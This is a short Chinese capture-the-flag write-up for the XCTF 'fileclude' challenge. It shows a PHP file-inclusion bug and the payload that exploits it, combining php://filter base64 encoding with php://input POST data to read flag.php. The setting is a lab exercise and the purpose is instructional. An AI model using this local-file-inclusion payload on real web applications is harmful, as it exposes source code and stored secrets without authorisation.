XCTF-web-fileclude
访问页面是一个文件包含的源代码,代码很简单
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
需要传入两个值:file1
恶和file2
,条件如下:
file1
: 使用php://filter
协议读取flag.php
file2
: 使file_get_contents()
方法获取到的内容为hello ctf
file_get_contents()
方法是获取指定路径文件的内容,也可以是url
,在网上找到了file_get_contents()
方法会读取POST
传参的内容,我们可以使用php://input
协议进行POST
传参,具体使用代码如下
<?php
$str = file_get_contents("php://input");
echo $str;
?>
然后使用POST
进行传参,这里我在firefox
中的hackerbar
没有参数的情况下不可以进行传参,所以使用burpsuite
这里验证了确认php://input
会获取POST
的数据,这里构造payload
file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
使用burpsuite
自带的base64解码工具解码得到flag